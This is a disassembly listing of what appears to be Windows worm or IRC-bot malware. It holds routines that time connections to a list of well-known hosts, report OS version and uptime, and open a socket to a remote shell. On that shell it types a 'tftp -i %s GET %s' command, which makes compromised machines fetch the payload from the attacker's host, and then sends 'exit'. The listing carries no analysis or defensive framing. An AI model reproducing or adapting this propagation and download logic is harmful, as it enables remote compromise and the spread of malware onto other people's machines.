		mov	dword ptr [ebp-58h], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	dword ptr [ebp-54h], offset aWww_burst_net ; "www.burst.net"
		mov	dword ptr [ebp-50h], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	dword ptr [ebp-4Ch], offset aWww_level3_com ; "www.level3.com"
		mov	dword ptr [ebp-48h], offset aWww_above_net ; "www.above.net"
		mov	dword ptr [ebp-44h], offset aWww_easynews_c ; "www.easynews.com"
		mov	dword ptr [ebp-40h], offset aWww_google_com ; "www.google.com"
		mov	dword ptr [ebp-1Ch], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	dword ptr [ebp-18h], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	dword ptr [ebp-14h], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	dword ptr [ebp-10h], offset aWww_nifty_com ; "www.nifty.com"
		mov	dword ptr [ebp-0Ch], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	dword ptr [ebp-8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_419E55
		push	dword ptr [ebp+eax*4-3Ch]
		call	sub_419E6F
		push	8
		mov	esi, eax
		call	sub_419E55
		push	dword ptr [ebp+eax*4-3Ch]
		call	sub_419E6F
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A14B
		test	eax, eax
		jz	short loc_41A147
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A147:				; CODE XREF: seg000:0041A13Ej
		mov	ebx, esi
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A14B:				; CODE XREF: seg000:0041A13Aj
		mov	ebx, eax


loc_41A14D:				; CODE XREF: seg000:0041A145j
					; seg000:0041A149j
		push	0Ch
		call	sub_419E55
		push	dword ptr [ebp+eax*4-6Ch]
		call	sub_419E6F
		push	0Ch
		mov	edi, eax
		call	sub_419E55
		push	dword ptr [ebp+eax*4-6Ch]
		call	sub_419E6F
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A185
		test	eax, eax
		jz	short loc_41A181
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A187
; ---------------------------------------------------------------------------


loc_41A181:				; CODE XREF: seg000:0041A178j
		mov	esi, edi
		jmp	short loc_41A187
; ---------------------------------------------------------------------------


loc_41A185:				; CODE XREF: seg000:0041A174j
		mov	esi, eax


loc_41A187:				; CODE XREF: seg000:0041A17Fj
					; seg000:0041A183j
		push	6
		call	sub_419E55
		push	dword ptr [ebp+eax*4-1Ch]
		call	sub_419E6F
		push	6
		mov	edi, eax
		call	sub_419E55
		push	dword ptr [ebp+eax*4-1Ch]
		call	sub_419E6F
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A1BF
		test	eax, eax
		jz	short loc_41A1BB
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A1C1
; ---------------------------------------------------------------------------


loc_41A1BB:				; CODE XREF: seg000:0041A1B2j
		mov	ecx, edi
		jmp	short loc_41A1C1
; ---------------------------------------------------------------------------


loc_41A1BF:				; CODE XREF: seg000:0041A1AEj
		mov	ecx, eax


loc_41A1C1:				; CODE XREF: seg000:0041A1B9j
					; seg000:0041A1BDj
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A1CE
		mov	edi, [ebp-4]
		mov	eax, ebx
		jmp	short loc_41A1D1
; ---------------------------------------------------------------------------


loc_41A1CE:				; CODE XREF: seg000:0041A1C5j
		push	2
		pop	edi


loc_41A1D1:				; CODE XREF: seg000:0041A1CCj
		test	esi, esi
		jz	short loc_41A1D9
		add	eax, esi
		jmp	short loc_41A1DA
; ---------------------------------------------------------------------------


loc_41A1D9:				; CODE XREF: seg000:0041A1D3j
		dec	edi


loc_41A1DA:				; CODE XREF: seg000:0041A1D7j
		test	ecx, ecx
		jz	short loc_41A1E2
		add	eax, ecx
		jmp	short loc_41A1E3
; ---------------------------------------------------------------------------


loc_41A1E2:				; CODE XREF: seg000:0041A1DCj
		dec	edi


loc_41A1E3:				; CODE XREF: seg000:0041A1E0j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp-26Ch]
		push	offset dword_44F784
		push	eax
		call	sub_41D260
		push	0
		lea	eax, [ebp-26Ch]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-26Ch]
		push	eax
		call	sub_4161A7
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41A227	proc near		; CODE XREF: seg000:00407CC1p
					; seg000:0040811Bp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_4F1340	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4EE7F8
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset dword_44F7FC
		push	32h
		push	esi
		call	sub_41D360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A227	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		push	esi
		push	eax
		xor	esi, esi
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_4F1358	; GetVersionExA
		test	eax, eax
		jz	short loc_41A323
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_41A2F9
		cmp	[ebp-8Ch], esi
		jnz	short loc_41A2E1
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41A2D4
		push	1
		pop	esi


loc_41A2D4:				; CODE XREF: seg000:0041A2CFj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_41A323
		push	1
		jmp	short loc_41A322
; ---------------------------------------------------------------------------


loc_41A2E1:				; CODE XREF: seg000:0041A2C6j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_41A2EE


loc_41A2EA:				; CODE XREF: seg000:0041A308j
		push	2
		jmp	short loc_41A322
; ---------------------------------------------------------------------------


loc_41A2EE:				; CODE XREF: seg000:0041A2E8j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_41A323
		jmp	short loc_41A313
; ---------------------------------------------------------------------------


loc_41A2F9:				; CODE XREF: seg000:0041A2BEj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41A323
		cmp	[ebp-8Ch], esi
		jz	short loc_41A2EA
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41A317


loc_41A313:				; CODE XREF: seg000:0041A2F7j
		push	3
		jmp	short loc_41A322
; ---------------------------------------------------------------------------


loc_41A317:				; CODE XREF: seg000:0041A311j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_41A323
		push	7


loc_41A322:				; CODE XREF: seg000:0041A2DFj
					; seg000:0041A2ECj ...
		pop	esi


loc_41A323:				; CODE XREF: seg000:0041A2B5j
					; seg000:0041A2DBj ...
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A330:				; CODE XREF: seg000:0041A35Dj
					; seg000:0041A363j
		call	sub_41A761
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	ds:dword_4F12F4	; Sleep
		call	sub_41A761
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	sub_4203C0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A330
		jb	short loc_41A365
		cmp	ebx, esi
		ja	short loc_41A330


loc_41A365:				; CODE XREF: seg000:0041A35Fj
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_420430
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41A3D8
		jb	short loc_41A384
		cmp	esi, 50h
		jnb	short loc_41A389


loc_41A384:				; CODE XREF: seg000:0041A37Dj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A389:				; CODE XREF: seg000:0041A382j
		test	ecx, ecx
		ja	short loc_41A3D8
		jb	short loc_41A394
		cmp	esi, 47h
		jnb	short loc_41A399


loc_41A394:				; CODE XREF: seg000:0041A38Dj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A399:				; CODE XREF: seg000:0041A392j
		test	ecx, ecx
		ja	short loc_41A3D8
		jb	short loc_41A3A4
		cmp	esi, 37h
		jnb	short loc_41A3A9


loc_41A3A4:				; CODE XREF: seg000:0041A39Dj
		push	32h
		xor	edx, edx
		pop	eax


loc_41A3A9:				; CODE XREF: seg000:0041A3A2j
		test	ecx, ecx
		ja	short loc_41A3D8
		jb	short loc_41A3B4
		cmp	esi, 26h
		jnb	short loc_41A3B9


loc_41A3B4:				; CODE XREF: seg000:0041A3ADj
		push	21h
		xor	edx, edx
		pop	eax


loc_41A3B9:				; CODE XREF: seg000:0041A3B2j
		test	ecx, ecx
		ja	short loc_41A3D8
		jb	short loc_41A3C4
		cmp	esi, 1Eh
		jnb	short loc_41A3C9


loc_41A3C4:				; CODE XREF: seg000:0041A3BDj
		push	19h
		xor	edx, edx
		pop	eax


loc_41A3C9:				; CODE XREF: seg000:0041A3C2j
		test	ecx, ecx
		ja	short loc_41A3D8
		jb	short loc_41A3D4
		cmp	esi, 0Ah
		jnb	short loc_41A3D8


loc_41A3D4:				; CODE XREF: seg000:0041A3CDj
		xor	eax, eax
		xor	edx, edx


loc_41A3D8:				; CODE XREF: seg000:0041A37Bj
					; seg000:0041A38Bj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41A3E4:				; CODE XREF: seg000:00407E6Dp
		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp-0CCh]
		push	edi
		push	eax
		mov	dword ptr [ebp-4], offset dword_4EE830
		mov	dword ptr [ebp-0CCh], 94h
		call	ds:dword_4F1358	; GetVersionExA
		xor	ebx, ebx
		cmp	dword ptr [ebp-0C8h], 4
		jnz	short loc_41A46B
		cmp	[ebp-0C4h], ebx
		jnz	short loc_41A447
		cmp	dword ptr [ebp-0BCh], 1
		jnz	short loc_41A431
		mov	dword ptr [ebp-4], offset dword_44F808


loc_41A431:				; CODE XREF: seg000:0041A428j
		cmp	dword ptr [ebp-0BCh], 2
		jnz	loc_41A4E6
		mov	dword ptr [ebp-4], offset dword_44F80C
		jmp	short loc_41A4B7
; ---------------------------------------------------------------------------


loc_41A447:				; CODE XREF: seg000:0041A41Fj
		cmp	dword ptr [ebp-0C4h], 0Ah
		jnz	short loc_41A459
		mov	dword ptr [ebp-4], offset dword_44F810
		jmp	short loc_41A4AE
; ---------------------------------------------------------------------------


loc_41A459:				; CODE XREF: seg000:0041A44Ej
		cmp	dword ptr [ebp-0C4h], 5Ah
		jnz	short loc_41A4A7
		mov	dword ptr [ebp-4], offset dword_44F814
		jmp	short loc_41A4AE
; ---------------------------------------------------------------------------


loc_41A46B:				; CODE XREF: seg000:0041A417j
		cmp	dword ptr [ebp-0C8h], 5
		jnz	short loc_41A4A7
		cmp	[ebp-0C4h], ebx
		jnz	short loc_41A485
		mov	dword ptr [ebp-4], offset dword_44F818
		jmp	short loc_41A4AE
; ---------------------------------------------------------------------------


loc_41A485:				; CODE XREF: seg000:0041A47Aj
		cmp	dword ptr [ebp-0C4h], 1
		jnz	short loc_41A497
		mov	dword ptr [ebp-4], offset dword_44F81C
		jmp	short loc_41A4AE
; ---------------------------------------------------------------------------


loc_41A497:				; CODE XREF: seg000:0041A48Cj
		cmp	dword ptr [ebp-0C4h], 2
		mov	dword ptr [ebp-4], offset a2003	; "2003"
		jz	short loc_41A4AE


loc_41A4A7:				; CODE XREF: seg000:0041A460j
					; seg000:0041A472j
		mov	dword ptr [ebp-4], offset a??? ; "???"


loc_41A4AE:				; CODE XREF: seg000:0041A457j
					; seg000:0041A469j ...
		cmp	dword ptr [ebp-0BCh], 2
		jnz	short loc_41A4E6


loc_41A4B7:				; CODE XREF: seg000:0041A445j
		cmp	[ebp-0B8h], bl
		jz	short loc_41A4E6
		lea	eax, [ebp-0B8h]
		push	eax
		lea	eax, [ebp-2E8h]
		push	dword ptr [ebp-4]
		push	offset aSS_6	; "%s (%s)"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2E8h]
		add	esp, 10h
		mov	[ebp-4], eax


loc_41A4E6:				; CODE XREF: seg000:0041A438j
					; seg000:0041A4B5j ...
		mov	ax, ds:word_44F834
		push	3Fh
		mov	[ebp-25Ch], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-25Ah]
		rep stosd
		stosw
		mov	eax, ds:dword_4513D8
		mov	dword ptr [ebp-0Ch], 100h
		cmp	eax, ebx
		jz	short loc_41A51F
		lea	ecx, [ebp-0Ch]
		push	ecx
		lea	ecx, [ebp-25Ch]
		push	ecx
		call	eax ; dword_4513D8


loc_41A51F:				; CODE XREF: seg000:0041A510j
		push	dword ptr [ebp+0Ch]
		call	sub_402617
		pop	ecx
		push	eax
		call	ds:dword_451530
		mov	[ebp-8], eax
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_4514AC
		cmp	eax, ebx
		jz	short loc_41A548
		push	dword ptr [eax]
		jmp	short loc_41A54D
; ---------------------------------------------------------------------------


loc_41A548:				; CODE XREF: seg000:0041A542j
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41A54D:				; CODE XREF: seg000:0041A546j
		lea	eax, [ebp-3E4h]
		push	eax
		call	sub_41D260
		pop	ecx
		lea	eax, [ebp-4E8h]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 3D0000h
		mov	edi, 0FEEC858Dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	6Ah
		dd 50685046h, 530044F8h, 409BEh, 0E8565300h, 0FFFB5A78h
		dd 0A4858DAAh, 6AFFFFFEh, 5C685046h, 530044F8h,	61E85653h
		dd 40FFFB5Ah, 458D206Ah, 0E85053C8h, 2B54h, 8D0CC483h
		dd 0E850C845h, 0FFFB5A48h, 8D53531Eh, 5053E845h, 0FB18858Dh
		dd 0E850FFFFh, 3694h, 50E8458Dh, 0F818858Dh, 0E850FFFFh
		dd 0FFFFC4E3h, 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h
		dd 0FFF818B5h, 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC27h
		dd 5020C483h, 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh
		dd 0FFFFFDA4h, 0C75FF50h, 0FE7FF6E8h, 8D5059FFh, 0FFFC1C85h
		dd 858D50FFh, 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h
		dd 3CB5FFFFh, 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h
		dd 50FFFFFAh, 0C1D4458Bh, 50530AE8h, 0FFC34EE8h, 505959FFh
		dd 0C1D0458Bh, 50530AE8h, 0FFC33EE8h, 505959FFh, 0FFFCAFE8h
		dd 685052FFh, 44F868h, 20068h, 875FF00h, 2CD3E8h, 8458B00h
		dd 5F50C483h, 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A698	proc near		; CODE XREF: seg000:00406ED9p
					; seg000:00407E9Bp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		cmp	ds:dword_4515D8, 0
		jnz	short loc_41A70C
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4513BC
		test	eax, eax
		jnz	short loc_41A6ED
		lea	eax, [ebp+var_8C]
		push	offset dword_44F95C
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_41A6ED:				; CODE XREF: sub_41A698+40j
		test	[ebp+var_C], 1
		jz	short loc_41A705
		push	offset dword_44F96C


loc_41A6F8:				; CODE XREF: sub_41A698+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	short loc_41A72E
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A698+59j
		push	offset off_44F974
		jmp	short loc_41A6F8
; ---------------------------------------------------------------------------


loc_41A70C:				; CODE XREF: sub_41A698+28j
		lea	eax, [ebp+var_8]
		push	offset off_44F978
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_8C]
		push	offset off_44F97C
		push	eax
		call	sub_41D260
		add	esp, 10h


loc_41A72E:				; CODE XREF: sub_41A698+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_44F980
		push	200h
		push	[ebp+arg_0]
		call	sub_41D360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41A698	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A761	proc near		; CODE XREF: seg000:loc_41A330p
					; seg000:0041A344p
		rdtsc
		retn
sub_41A761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A764	proc near		; CODE XREF: seg000:0041AA48p
					; seg000:0041AA65p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4EE93C
		lea	edi, [ebp+var_C]
		mov	ax, ds:word_44F9E8
		movsd
		movsb
		mov	esi, offset dword_4EE944
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, ds:word_44F9EC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, ds:word_4EE938
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41A830
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41A7B6:				; CODE XREF: sub_41A764+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41A7D6
		dec	eax
		jnz	short loc_41A824
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41A7EA
; ---------------------------------------------------------------------------


loc_41A7D6:				; CODE XREF: sub_41A764+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41A7EA:				; CODE XREF: sub_41A764+70j
		push	eax
		push	edi
		call	ds:dword_451540
		push	ebx
		call	sub_41AC70
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41A806
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41A80B
; ---------------------------------------------------------------------------


loc_41A806:				; CODE XREF: sub_41A764+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41A80B:				; CODE XREF: sub_41A764+A0j
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	ebx
		call	sub_41AC70
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	ds:dword_451540


loc_41A824:				; CODE XREF: sub_41A764+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41A7B6
		pop	ebx
		jmp	short loc_41A8A6
; ---------------------------------------------------------------------------


loc_41A830:				; CODE XREF: sub_41A764+42j
		dec	eax
		jz	short loc_41A84F
		dec	eax
		jnz	short loc_41A8A6
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41A866
; ---------------------------------------------------------------------------


loc_41A84F:				; CODE XREF: sub_41A764+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41A866:				; CODE XREF: sub_41A764+E9j
		push	eax
		push	edi
		call	ds:dword_451540
		push	[ebp+arg_4]
		call	sub_41AC70
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41A884
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41A889
; ---------------------------------------------------------------------------


loc_41A884:				; CODE XREF: sub_41A764+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41A889:				; CODE XREF: sub_41A764+11Ej
		push	eax
		push	edi
		call	ds:dword_451540
		push	esi
		push	[ebp+arg_4]
		call	sub_41AC70
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_451540


loc_41A8A6:				; CODE XREF: sub_41A764+CAj
					; sub_41A764+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41A764	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_44F9F0
		lea	edi, [ebp-38h]
		mov	ax, ds:word_44FA04
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_44FA00
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_4EE94C
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_44FA0C
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_44FA14
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		mov	[ebp-2], ax
		mov	ax, ds:word_44FA08
		xor	esi, esi
		mov	[ebp-4], ax
		mov	ax, ds:word_44FA18
		push	esi
		push	1
		push	2
		mov	[ebp-6], ax
		xor	edi, edi
		call	ds:dword_451570
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp-1Ch], ebx
		jnz	short loc_41A92B
		push	eax
		call	ds:dword_451588


loc_41A92B:				; CODE XREF: seg000:0041A922j
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	ds:dword_4514F4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_45149C
		test	eax, eax
		jnz	loc_41AC60


loc_41A963:				; CODE XREF: seg000:0041A9D9j
					; seg000:0041AA14j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	ds:dword_45150C
		cmp	eax, esi
		jle	loc_41AA33
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AA33
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41A9DB
		dec	eax
		jz	short loc_41A9A5
		dec	eax
		jz	short loc_41AA19
		jmp	short loc_41AA0F
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: seg000:0041A99Ej
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41AC60
		lea	eax, [ebp-2]
		push	esi
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-2]
		push	eax
		push	ebx
		call	ds:dword_451540
		push	2
		pop	edi
		jmp	short loc_41A963
; ---------------------------------------------------------------------------


loc_41A9DB:				; CODE XREF: seg000:0041A99Bj
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41AC60
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	ds:dword_451540
		push	1
		pop	edi


loc_41AA0F:				; CODE XREF: seg000:0041A9A3j
		cmp	edi, 3
		jz	short loc_41AA33
		jmp	loc_41A963
; ---------------------------------------------------------------------------


loc_41AA19:				; CODE XREF: seg000:0041A9A1j
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41AC60


loc_41AA33:				; CODE XREF: seg000:0041A988j
					; seg000:0041A991j ...
		push	esi
		lea	eax, [ebp-4]
		push	1
		push	eax
		push	ebx
		call	ds:dword_451540
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41A764
		mov	esi, ds:dword_4F12F4
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi ; dword_4F12F4
		lea	eax, [ebp-6]
		push	0
		push	eax
		push	ebx
		call	sub_41A764
		add	esp, 0Ch
		push	edi
		call	esi ; dword_4F12F4
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41A764
		add	esp, 0Ch
		push	edi
		call	esi ; dword_4F12F4
		and	dword ptr [ebp-18h], 0
		mov	ebx, offset byte_44F9DC
		push	ebx
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		jbe	short loc_41AAD5


loc_41AA96:				; CODE XREF: seg000:0041AAD3j
		mov	eax, [ebp-18h]
		movsx	eax, ds:byte_44F9DC[eax]
		push	eax
		push	offset dword_44FA1C
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41D360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 1Ch
		push	7Dh
		call	esi ; dword_4F12F4
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_41AC70
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_41AA96


loc_41AAD5:				; CODE XREF: seg000:0041AA94j
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 0Ch
		push	7D0h
		call	esi ; dword_4F12F4
		push	100h
		mov	ebx, offset byte_4EE838
		push	0
		push	ebx
		call	sub_41D100
		add	esp, 0Ch
		push	offset byte_43CCBC
		push	dword ptr [ebp+8]
		call	sub_402617
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s GET %s"
		push	0FFh
		push	ebx
		call	sub_41D360
		and	dword ptr [ebp-18h], 0
		push	ebx
		call	sub_41AC70
		add	esp, 18h
		test	eax, eax
		jbe	short loc_41AB71


loc_41AB32:				; CODE XREF: seg000:0041AB6Fj
		mov	eax, [ebp-18h]
		movsx	eax, ds:byte_4EE838[eax]
		push	eax
		push	offset aC_1	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41D360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 1Ch
		push	7Dh
		call	esi ; dword_4F12F4
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_41AC70
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_41AB32


loc_41AB71:				; CODE XREF: seg000:0041AB30j
		push	edi
		call	esi ; dword_4F12F4
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 0Ch
		push	7530h
		call	esi ; dword_4F12F4
		and	dword ptr [ebp-18h], 0
		mov	ebx, offset byte_43CCBC
		push	ebx
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		jbe	short loc_41ABDF


loc_41ABA0:				; CODE XREF: seg000:0041ABDDj
		mov	eax, [ebp-18h]
		movsx	eax, ds:byte_43CCBC[eax]
		push	eax
		push	offset aC_2	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41D360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 1Ch
		push	7Dh
		call	esi ; dword_4F12F4
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_41AC70
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_41ABA0


loc_41ABDF:				; CODE XREF: seg000:0041AB9Ej
		push	edi
		call	esi ; dword_4F12F4
		xor	ebx, ebx
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		mov	edi, offset aExit ; "exit"
